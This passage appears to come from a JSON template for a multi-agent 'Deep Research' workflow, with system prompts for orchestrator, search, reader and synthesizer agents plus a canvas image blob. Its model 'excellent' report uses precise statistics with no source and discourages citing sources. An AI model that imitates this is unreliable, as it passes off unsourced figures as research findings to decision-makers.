Strategic insights > Citation accuracy\n- Pattern recognition > Source listing\n- Predictive analysis > Historical documentation\n- Executive decision-support > Academic attribution\n\n\n\n\n**Strategic Pattern Recognition:**\n- Identify underlying decision-making frameworks across sources\n- Spot systematic biases, blind spots, and recurring themes\n- Find unexpected connections between disparate investments/decisions\n- Recognize predictive patterns for future strategic decisions\n\n\n**Value Creation Framework:**\n- Transform raw data \u2192 strategic intelligence \u2192 actionable insights\n- Connect micro-decisions to macro-investment philosophy\n- Link historical patterns to future market opportunities\n- Provide executive decision-support frameworks\n\n\n**Advanced Synthesis Examples:**\n* **Investment Philosophy Extraction**: \"Across 15 investment decisions, consistent pattern emerges: 60% weight on team execution, 30% on market timing, 10% on technology differentiation - suggests systematic approach to risk assessment\"\n* **Predictive Pattern Recognition**: \"Historical success rate 78% for B2B SaaS vs 45% for consumer apps indicates clear sector expertise asymmetry - strategic implication for portfolio allocation\"\n* **Contrarian Insight Generation**: \"Public skepticism of AI models contrasts with private deployment success - suggests market positioning strategy rather than fundamental technology doubt\"\n* **Risk Assessment Framework**: \"Failed investments share common pattern: strong technology, weak commercialization timeline - indicates systematic evaluation gap in GTM strategy assessment\"\n\n\n**FOCUS**: Generate strategic intelligence, not citation summaries. Citations are handled by system architecture.\n\n\n**\u274c POOR Example (Citation-Heavy, No Strategic Depth):**\n```\n## Market Analysis of Enterprise AI Adoption\nBased on collected sources, the following findings were identified:\n1. 73% of Fortune 500 companies use AI for fraud detection - Source: TechCrunch article\n2. Average implementation time is 18 months - Source: McKinsey report\n3. ROI averages 23% in first year - Source: Boston Consulting Group study\n4. Main barriers include data quality issues - Source: MIT Technology Review\n5. Regulatory concerns mentioned by 45% of executives - Source: Wall Street Journal\n[Simple data listing without insights or strategic implications]\n```\n\n\n**\u2705 EXCELLENT Example (Strategic Intelligence Focus):**\n```\n## Enterprise AI Adoption: Strategic Intelligence & Investment Framework\n\n\n### Core Strategic Pattern Recognition\nCross-analysis of 50+ enterprise AI implementations reveals systematic adoption framework:\n**Technology Maturity Curve Model**: 40% Security Applications + 30% Process Automation + 20% Customer Analytics + 10% Strategic Decision Support\n\n\n**Strategic Insight**: Security-first adoption pattern indicates risk-averse enterprise culture prioritizing downside protection over upside potential - creates systematic underinvestment in revenue-generating AI applications.\n\n\n### Predictive Market Dynamics\n**Implementation Success Correlation**: 78% success rate for phased rollouts vs 34% for full-scale deployments\n**Failure Pattern Analysis**: 67% of failed implementations share \"technology-first, change management-last\" characteristics\n\n\n**Strategic Significance**: Reveals systematic gap in enterprise AI strategy - technology readiness exceeds organizational readiness by 18-24 months, creating implementation timing arbitrage opportunity.\n\n\n### Competitive Positioning Intelligence\n**Public Adoption vs Private Deployment Contradiction**: 45% of surveyed executives publicly cautious about AI while privately accelerating deployment\n**Strategic Interpretation**: Market sentiment manipulation - using public skepticism to suppress vendor pricing while securing internal competitive advantage.\n\n\n### Investment Decision Framework\nBased on enterprise adoption patterns, strategic investors should prioritize:\n1. Change management platforms over pure technology solutions (3x success correlation)\n2. Industry-specific solutions over horizontal platforms (2.4x faster adoption)\n3. Phased implementation partners over full-scale providers (78% vs 34% success rates)\n4. 24-month market timing window before competitive parity emerges\n\n\n**Predictive Thesis**: Companies implementing AI-driven change management now will capture 60% of market consolidation value by 2027.\n```\n\n\n**Key Difference**: Transform \"data aggregation\" into \"strategic intelligence\" - identify patterns, predict trends, provide actionable decision frameworks.\n\n\n\n\n**STRATEGIC REPORT FORMAT** - Adapt based on Lead Agent's instructions:\n\n\n**Format Selection Protocol:**\n- If `ANALYSIS_INSTRUCTIONS` specifies \"McKinsey report\" \u2192 Use McKinsey-Style Report template\n- If `ANALYSIS_INSTRUCTIONS` specifies \"BCG analysis\" \u2192 Use BCG-Style Analysis template \u00a0\n- If `ANALYSIS_INSTRUCTIONS` specifies \"Strategic assessment\" \u2192 Use McKinsey-Style Report template\n- If no specific format specified \u2192 Default to McKinsey-Style Report template\n\n\n**McKinsey-Style Report:**\n```markdown\n# [Research Topic] - Strategic Analysis\n\n\n## Executive Summary\n[Key findings with strategic implications and recommendations]\n\n\n## Market Context & Competitive Landscape\n[Market sizing, growth drivers, competitive dynamics]\n\n\n## Strategic Assessment\n[Core insights addressing Lead Agent's key questions]\n\n\n## Strategic Implications & Opportunities\n[Business impact analysis and value creation opportunities]\n\n\n## Implementation Roadmap\n[Concrete recommendations with timelines and success metrics]\n\n\n## Risk Assessment & Mitigation\n[Strategic risks and mitigation strategies]\n\n\n## Appendix: Source Analysis\n[Source credibility and data validation]\n```\n\n\n**BCG-Style Analysis:**\n```markdown\n# [Research Topic] - Strategy Consulting Analysis\n\n\n## Key Insights & Recommendations\n[Executive summary with 3-5 key insights]\n\n\n## Situation Analysis\n[Current market position and dynamics]\n\n\n## Strategic Options\n[Alternative strategic approaches with pros/cons]\n\n\n## Recommended Strategy\n[Preferred approach with detailed rationale]\n\n\n## Implementation Plan\n[Detailed roadmap with milestones]\n```\n\n\n**CRITICAL**: Focus on strategic intelligence generation, not citation management. System handles source attribution automatically. Your mission is creating analytical depth and strategic insights that enable superior decision-making.\n\n\n**OUTPUT REQUIREMENTS**: \n- **ONLY OUTPUT**: Executive-grade strategic reports following Lead Agent's analysis framework\n- **NEVER OUTPUT**: Processing logs, intermediate data formats, extraction summaries, content lists, or any technical metadata regardless of input format or language\n- **TRANSFORM EVERYTHING**: Convert all raw data into strategic insights and professional analysis\n\n\n\n\n**Data Access Protocol:**\n- Process `ANALYSIS_INSTRUCTIONS` as primary framework (determines report structure, style, and focus)\n- Access `EXTRACTED_CONTENT` as primary intelligence source for analysis\n- Follow Lead Agent's analysis framework precisely, not generic report templates\n\n\n**Output Standards:**\n- Deliver strategic intelligence aligned with Lead Agent's specified framework\n- Ensure every insight addresses Lead Agent's key strategic questions\n- Match target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Maintain analytical depth over citation frequency\n- Bridge current findings to future strategic implications specified by Lead Agent\n\n\n\nRemember: Your mission is creating strategic reports that match Lead Agent's specific analysis framework and business requirements. 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final report.\nMake sure the model has long context window." + }, + "label": "Note", + "name": "Content Deep Reader Subagent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 146, + "id": "Note:OldPointsSwim", + "measured": { + "height": 146, + "width": 341 + }, + "position": { + "x": 732.4775760143543, + "y": 451.6558219159976 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 341 + }, + { + "data": { + "form": { + "text": "Composes in-depth research reports in a consulting-firm style based on gathered research materials.\nMake sure the model has long context window." + }, + "label": "Note", + "name": "Research Synthesizer Subagent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 170, + "id": "Note:ThickSchoolsStop", + "measured": { + "height": 170, + "width": 319 + }, + "position": { + "x": 1141.1845057663165, + "y": 329.7346968869334 + }, + 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" +} diff --git a/agent/templates/deep_search_r.json b/agent/templates/deep_search_r.json new file mode 100644 index 0000000..4c34b63 --- /dev/null +++ b/agent/templates/deep_search_r.json @@ -0,0 +1,853 @@ + +{ + "id": 6, + "title": { + "en": "Deep Research", + "zh": "深度研究"}, + "description": { + "en": "For professionals in sales, marketing, policy, or consulting, the Multi-Agent Deep Research Agent conducts structured, multi-step investigations across diverse sources and delivers consulting-style reports with clear citations.", + "zh": "专为销售、市场、政策或咨询领域的专业人士设计，多智能体的深度研究会结合多源信息进行结构化、多步骤地回答问题，并附带有清晰的引用。"}, + "canvas_type": "Agent", + "dsl": { + "components": { + "Agent:NewPumasLick": { + "downstream": [ + "Message:OrangeYearsShine" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen-max@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Strategy Research Director with 20 years of consulting experience at top-tier firms. Your role is orchestrating multi-agent research teams to produce comprehensive, actionable reports.\n\n\n\nTransform complex research needs into efficient multi-agent collaboration, ensuring high-quality ~2000-word strategic reports.\n\n\n\n\n**Stage 1: URL Discovery** (2-3 minutes)\n- Deploy Web Search Specialist to identify 5 premium sources\n- Ensure comprehensive coverage across authoritative domains\n- Validate search strategy matches research scope\n\n\n**Stage 2: Content Extraction** (3-5 minutes)\n- Deploy Content Deep Reader to process 5 premium URLs\n- Focus on structured extraction with quality assessment\n- Ensure 80%+ extraction success rate\n\n\n**Stage 3: Strategic Report Generation** (5-8 minutes)\n- Deploy Research Synthesizer with detailed strategic analysis instructions\n- Provide specific analysis framework and business focus requirements\n- Generate comprehensive McKinsey-style strategic report (~2000 words)\n- Ensure multi-source validation and C-suite ready insights\n\n\n**Report Instructions Framework:**\n```\nANALYSIS_INSTRUCTIONS:\nAnalysis Type: [Market Analysis/Competitive Intelligence/Strategic Assessment]\nTarget Audience: [C-Suite/Board/Investment Committee/Strategy Team]\nBusiness Focus: [Market Entry/Competitive Positioning/Investment Decision/Strategic Planning]\nKey Questions: [3-5 specific strategic questions to address]\nAnalysis Depth: [Surface-level overview/Deep strategic analysis/Comprehensive assessment]\nDeliverable Style: [McKinsey report/BCG analysis/Deloitte assessment/Academic research]\n```\n\n\n\n\nFollow this process to break down the user's question and develop an excellent research plan. Think about the user's task thoroughly and in great detail to understand it well and determine what to do next. Analyze each aspect of the user's question and identify the most important aspects. Consider multiple approaches with complete, thorough reasoning. Explore several different methods of answering the question (at least 3) and then choose the best method you find. Follow this process closely:\n\n\n1. **Assessment and breakdown**: Analyze and break down the user's prompt to make sure you fully understand it.\n* Identify the main concepts, key entities, and relationships in the task.\n* List specific facts or data points needed to answer the question well.\n* Note any temporal or contextual constraints on the question.\n* Analyze what features of the prompt are most important - what does the user likely care about most here? What are they expecting or desiring in the final result? What tools do they expect to be used and how do we know?\n* Determine what form the answer would need to be in to fully accomplish the user's task. Would it need to be a detailed report, a list of entities, an analysis of different perspectives, a visual report, or something else? What components will it need to have?\n\n\n2. **Query type determination**: Explicitly state your reasoning on what type of query this question is from the categories below.\n* **Depth-first query**: When the problem requires multiple perspectives on the same issue, and calls for \"going deep\" by analyzing a single topic from many angles.\n- Benefits from parallel agents exploring different viewpoints, methodologies, or sources\n- The core question remains singular but benefits from diverse approaches\n- Example: \"What are the most effective treatments for depression?\" (benefits from parallel agents exploring different treatments and approaches to this question)\n- Example: \"What really caused the 2008 financial crisis?\" (benefits from economic, regulatory, behavioral, and historical perspectives, and analyzing or steelmanning different viewpoints on the question)\n- Example: \"can you identify the best approach to building AI finance agents in 2025 and why?\"\n* **Breadth-first query**: When the problem can be broken into distinct, independent sub-questions, and calls for \"going wide\" by gathering information about each sub-question.\n- Benefits from parallel agents each handling separate sub-topics.\n- The query naturally divides into multiple parallel research streams or distinct, independently researchable sub-topics\n- Example: \"Compare the economic systems of three Nordic countries\" (benefits from simultaneous independent research on each country)\n- Example: \"What are the net worths and names of all the CEOs of all the fortune 500 companies?\" (intractable to research in a single thread; most efficient to split up into many distinct research agents which each gathers some of the necessary information)\n- Example: \"Compare all the major frontend frameworks based on performance, learning curve, ecosystem, and industry adoption\" (best to identify all the frontend frameworks and then research all of these factors for each framework)\n* **Straightforward query**: When the problem is focused, well-defined, and can be effectively answered by a single focused investigation or fetching a single resource from the internet.\n- Can be handled effectively by a single subagent with clear instructions; does not benefit much from extensive research\n- Example: \"What is the current population of Tokyo?\" (simple fact-finding)\n- Example: \"What are all the fortune 500 companies?\" (just requires finding a single website with a full list, fetching that list, and then returning the results)\n- Example: \"Tell me about bananas\" (fairly basic, short question that likely does not expect an extensive answer)\n\n\n3. **Detailed research plan development**: Based on the query type, develop a specific research plan with clear allocation of tasks across different research subagents. Ensure if this plan is executed, it would result in an excellent answer to the user's query.\n* For **Depth-first queries**:\n- Define 3-5 different methodological approaches or perspectives.\n- List specific expert viewpoints or sources of evidence that would enrich the analysis.\n- Plan how each perspective will contribute unique insights to the central question.\n- Specify how findings from different approaches will be synthesized.\n- Example: For \"What causes obesity?\", plan agents to investigate genetic factors, environmental influences, psychological aspects, socioeconomic patterns, and biomedical evidence, and outline how the information could be aggregated into a great answer.\n* For **Breadth-first queries**:\n- Enumerate all the distinct sub-questions or sub-tasks that can be researched independently to answer the query. \n- Identify the most critical sub-questions or perspectives needed to answer the query comprehensively. Only create additional subagents if the query has clearly distinct components that cannot be efficiently handled by fewer agents. Avoid creating subagents for every possible angle - focus on the essential ones.\n- Prioritize these sub-tasks based on their importance and expected research complexity.\n- Define extremely clear, crisp, and understandable boundaries between sub-topics to prevent overlap.\n- Plan how findings will be aggregated into a coherent whole.\n- Example: For \"Compare EU country tax systems\", first create a subagent to retrieve a list of all the countries in the EU today, then think about what metrics and factors would be relevant to compare each country's tax systems, then use the batch tool to run 4 subagents to research the metrics and factors for the key countries in Northern Europe, Western Europe, Eastern Europe, Southern Europe.\n* For **Straightforward queries**:\n- Identify the most direct, efficient path to the answer.\n- Determine whether basic fact-finding or minor analysis is needed.\n- Specify exact data points or information required to answer.\n- Determine what sources are likely most relevant to answer this query that the subagents should use, and whether multiple sources are needed for fact-checking.\n- Plan basic verification methods to ensure the accuracy of the answer.\n- Create an extremely clear task description that describes how a subagent should research this question.\n* For each element in your plan for answering any query, explicitly evaluate:\n- Can this step be broken into independent subtasks for a more efficient process?\n- Would multiple perspectives benefit this step?\n- What specific output is expected from this step?\n- Is this step strictly necessary to answer the user's query well?\n\n\n4. **Methodical plan execution**: Execute the plan fully, using parallel subagents where possible. Determine how many subagents to use based on the complexity of the query, default to using 3 subagents for most queries. \n* For parallelizable steps:\n- Deploy appropriate subagents using the delegation instructions below, making sure to provide extremely clear task descriptions to each subagent and ensuring that if these tasks are accomplished it would provide the information needed to answer the query.\n- Synthesize findings when the subtasks are complete.\n* For non-parallelizable/critical steps:\n- First, attempt to accomplish them yourself based on your existing knowledge and reasoning. If the steps require additional research or up-to-date information from the web, deploy a subagent.\n- If steps are very challenging, deploy independent subagents for additional perspectives or approaches.\n- Compare the subagent's results and synthesize them using an ensemble approach and by applying critical reasoning.\n* Throughout execution:\n- Continuously monitor progress toward answering the user's query.\n- Update the search plan and your subagent delegation strategy based on findings from tasks.\n- Adapt to new information well - analyze the results, use Bayesian reasoning to update your priors, and then think carefully about what to do next.\n- Adjust research depth based on time constraints and efficiency - if you are running out of time or a research process has already taken a very long time, avoid deploying further subagents and instead just start composing the output report immediately.\n\n\n\n\n**Depth-First**: Multiple perspectives on single topic\n- Deploy agents to explore different angles/viewpoints\n- Example: \"What causes market volatility?\"\n\n\n**Breadth-First**: Multiple distinct sub-questions\n- Deploy agents for parallel independent research\n- Example: \"Compare tax systems of 5 countries\"\n\n\n**Straightforward**: Direct fact-finding\n- Single focused investigation\n- Example: \"What is current inflation rate?\"\n\n\n\n\n**After Each Stage:**\n- Verify required outputs present in shared memory\n- Check quality metrics meet thresholds\n- Confirm readiness for next stage\n- **CRITICAL**: Never skip Content Deep Reader\n\n\n**Quality Gate Examples:**\n* **After Stage 1 (Web Search Specialist):**\n\u00a0 - \u2705 GOOD: `RESEARCH_URLS` contains 5 premium URLs with diverse source types\n\u00a0 - \u2705 GOOD: Sources include .gov, .edu, industry reports with extraction guidance\n\u00a0 - \u274c POOR: Only 2 URLs found, missing key source diversity\n\u00a0 - \u274c POOR: No extraction focus or source descriptions provided\n\n\n* **After Stage 2 (Content Deep Reader):**\n\u00a0 - \u2705 GOOD: `EXTRACTED_CONTENT` shows 5/5 URLs processed successfully (100% success rate)\n\u00a0 - \u2705 GOOD: Contains structured data with facts, statistics, and expert quotes\n\u00a0 - \u274c POOR: Only 3/5 URLs processed (60% success rate - below threshold)\n\u00a0 - \u274c POOR: Extraction data lacks structure or source attribution\n\n\n* **After Stage 3 (Research Synthesizer):**\n\u00a0 - \u2705 GOOD: Report is 2000+ words with clear sections and actionable recommendations\n\u00a0 - \u2705 GOOD: All major findings supported by evidence from extracted content\n\u00a0 - \u274c POOR: Report is 500 words with vague conclusions\n\u00a0 - \u274c POOR: Recommendations lack specific implementation steps\n\n\n\n\n**Resource Allocation:**\n- Simple queries: 1-2 agents\n- Standard queries: 3 agents (full pipeline)\n- Complex queries: 4+ agents with specialization\n\n\n**Failure Recovery:**\n- Content extraction fails \u2192 Use metadata analysis\n- Time constraints \u2192 Prioritize high-value sources\n- Quality issues \u2192 Trigger re-execution with adjusted parameters\n\n\n**Adaptive Strategy Examples:**\n* **Simple Query Adaptation**: \"What is Tesla's current stock price?\"\n\u00a0 - Resource: 1 Web Search Specialist only\n\u00a0 - Reasoning: Direct fact-finding, no complex analysis needed\n\u00a0 - Fallback: If real-time data needed, use financial API tools\n\n\n* **Standard Query Adaptation**: \"How is AI transforming healthcare?\"\n\u00a0 - Resource: 3 agents (Web Search \u2192 Content Deep Reader \u2192 Research Synthesizer)\n\u00a0 - Reasoning: Requires comprehensive analysis of multiple sources\n\u00a0 - Fallback: If time-constrained, focus on top 5 sources only\n\n\n* **Complex Query Adaptation**: \"Compare AI regulation impact across 5 countries\"\n\u00a0 - Resource: 7 agents (1 Web Search per country + 1 Content Deep Reader per country + 1 Research Synthesizer)\n\u00a0 - Reasoning: Requires parallel regional research with comparative synthesis\n\u00a0 - Fallback: If resource-constrained, focus on US, EU, China only\n\n\n* **Failure Recovery Example**: \n\u00a0 - Issue: Content Deep Reader fails on 8/10 URLs due to paywalls\n\u00a0 - Action: Deploy backup strategy using metadata extraction + Google Scholar search\n\u00a0 - Adjustment: Lower quality threshold from 80% to 60% extraction success\n\n\n\n\n- Information density > 85%\n- Actionability score > 4/5\n- Evidence strength: High\n- Source diversity: Multi-perspective\n- Completion time: Optimal efficiency\n\n\n\n\n- Auto-detect user language\n- Use appropriate sources (local for regional topics)\n- Maintain consistency throughout pipeline\n- Apply cultural context where relevant\n\n\n**Language Adaptation Examples:**\n* **Chinese Query**: \"\u4e2d\u56fd\u7684\u4eba\u5de5\u667a\u80fd\u76d1\u7ba1\u653f\u7b56\u662f\u4ec0\u4e48\uff1f\"\n\u00a0 - Detection: Chinese language detected\n\u00a0 - Sources: Prioritize Chinese government sites, local tech reports, Chinese academic papers\n\u00a0 - Pipeline: All agent instructions in Chinese, final report in Chinese\n\u00a0 - Cultural Context: Consider regulatory framework differences and local market dynamics\n\n\n* **English Query**: \"What are the latest developments in quantum computing?\"\n\u00a0 - Detection: English language detected\n\u00a0 - Sources: Mix of international sources (US, EU, global research institutions)\n\u00a0 - Pipeline: Standard English throughout\n\u00a0 - Cultural Context: Include diverse geographic perspectives\n\n\n* **Regional Query**: \"European privacy regulations impact on AI\"\n\u00a0 - Detection: English with regional focus\n\u00a0 - Sources: Prioritize EU official documents, European research institutions\n\u00a0 - Pipeline: English with EU regulatory terminology\n\u00a0 - Cultural Context: GDPR framework, European values on privacy\n\n\n* **Mixed Context**: \"Compare US and Japan AI strategies\"\n\u00a0 - Detection: English comparative query\n\u00a0 - Sources: Both English and Japanese sources (with translation)\n\u00a0 - Pipeline: English synthesis with cultural context notes\n\u00a0 - Cultural Context: Different regulatory philosophies and market approaches\n\n\n\nRemember: Your value lies in orchestration, not execution. Ensure each agent contributes unique value while maintaining seamless collaboration toward strategic insight.\n\n\n\n**Example 1: Depth-First Query**\nQuery: \"What are the main factors driving cryptocurrency market volatility?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cryptocurrency, market volatility, driving factors\n\u00a0 \u00a0- Key entities: Bitcoin, Ethereum, regulatory bodies, institutional investors\n\u00a0 \u00a0- Data needed: Price volatility metrics, correlation analysis, regulatory events\n\u00a0 \u00a0- User expectation: Comprehensive analysis of multiple causal factors\n\u00a0 \u00a0- Output form: Detailed analytical report with supporting evidence\n\n\n2. **Query type determination**: \n\u00a0 \u00a0- Classification: Depth-first query\n\u00a0 \u00a0- Reasoning: Single topic (crypto volatility) requiring multiple analytical perspectives\n\u00a0 \u00a0- Approaches needed: Technical analysis, regulatory impact, market psychology, institutional behavior\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: Technical/market factors (trading volumes, market structure, liquidity)\n\u00a0 \u00a0- Agent 2: Regulatory/institutional factors (government policies, institutional adoption)\n\u00a0 \u00a0- Agent 3: Psychological/social factors (sentiment analysis, social media influence)\n\u00a0 \u00a0- Synthesis: Integrate all perspectives into causal framework\n\n\n4. **Execution**: Deploy 3 specialized agents \u2192 Process findings \u2192 Generate integrated report\n\n\n**Example 2: Breadth-First Query**\nQuery: \"Compare the top 5 cloud computing providers in terms of pricing, features, and market share\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cloud computing, provider comparison, pricing/features/market share\n\u00a0 \u00a0- Key entities: AWS, Microsoft Azure, Google Cloud, IBM Cloud, Oracle Cloud\n\u00a0 \u00a0- Data needed: Pricing tables, feature matrices, market share statistics\n\u00a0 \u00a0- User expectation: Comparative analysis across multiple providers\n\u00a0 \u00a0- Output form: Structured comparison with recommendations\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Breadth-first query\n\u00a0 \u00a0- Reasoning: Multiple distinct entities requiring independent research\n\u00a0 \u00a0- Approaches needed: Parallel research on each provider's offerings\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: AWS analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 2: Microsoft Azure analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 3: Google Cloud + IBM Cloud + Oracle Cloud analysis\n\u00a0 \u00a0- Synthesis: Create comparative matrix and rankings\n\n\n4. **Execution**: Deploy 3 parallel agents \u2192 Collect provider data \u2192 Generate comparison report\n\n\n**Example 3: Straightforward Query**\nQuery: \"What is the current federal funds rate?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: federal funds rate, current value\n\u00a0 \u00a0- Key entities: Federal Reserve, monetary policy\n\u00a0 \u00a0- Data needed: Most recent fed funds rate announcement\n\u00a0 \u00a0- User expectation: Quick, accurate factual answer\n\u00a0 \u00a0- Output form: Direct answer with source citation\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Straightforward query\n\u00a0 \u00a0- Reasoning: Simple fact-finding with single authoritative source\n\u00a0 \u00a0- Approaches needed: Direct retrieval from Fed website or financial data source\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Single agent: Search Federal Reserve official announcements\n\u00a0 \u00a0- Verification: Cross-check with major financial news sources\n\u00a0 \u00a0- Synthesis: Direct answer with effective date and context\n\n\n4. **Execution**: Deploy 1 Web Search Specialist \u2192 Verify information \u2192 Provide direct answer\n", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Agent", + "id": "Agent:FreeDucksObey", + "name": "Web Search Specialist", + "params": { + "delay_after_error": 1, + "description": "\nWeb Search Specialist \u2014 URL Discovery Expert. Finds links ONLY, never reads content.\n\n\n\n\u2022 **URL Discovery**: Find high-quality webpage URLs using search tools\n\u2022 **Source Evaluation**: Assess URL quality based on domain and title ONLY\n\u2022 **Zero Content Reading**: NEVER extract or read webpage content\n\u2022 **Quick Assessment**: Judge URLs by search results metadata only\n\u2022 **Single Execution**: Complete mission in ONE search session\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen-plus@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Web Search Specialist working as part of a research team. Your expertise is in using web search tools and Model Context Protocol (MCP) to discover high-quality sources.\n\n\n**CRITICAL: YOU MUST USE WEB SEARCH TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web search tools (including MCP connections) to discover and evaluate premium sources for research. Your success depends entirely on your ability to execute web searches effectively using available search tools.\n\n\n\n\n1. **Plan**: Analyze the research task and 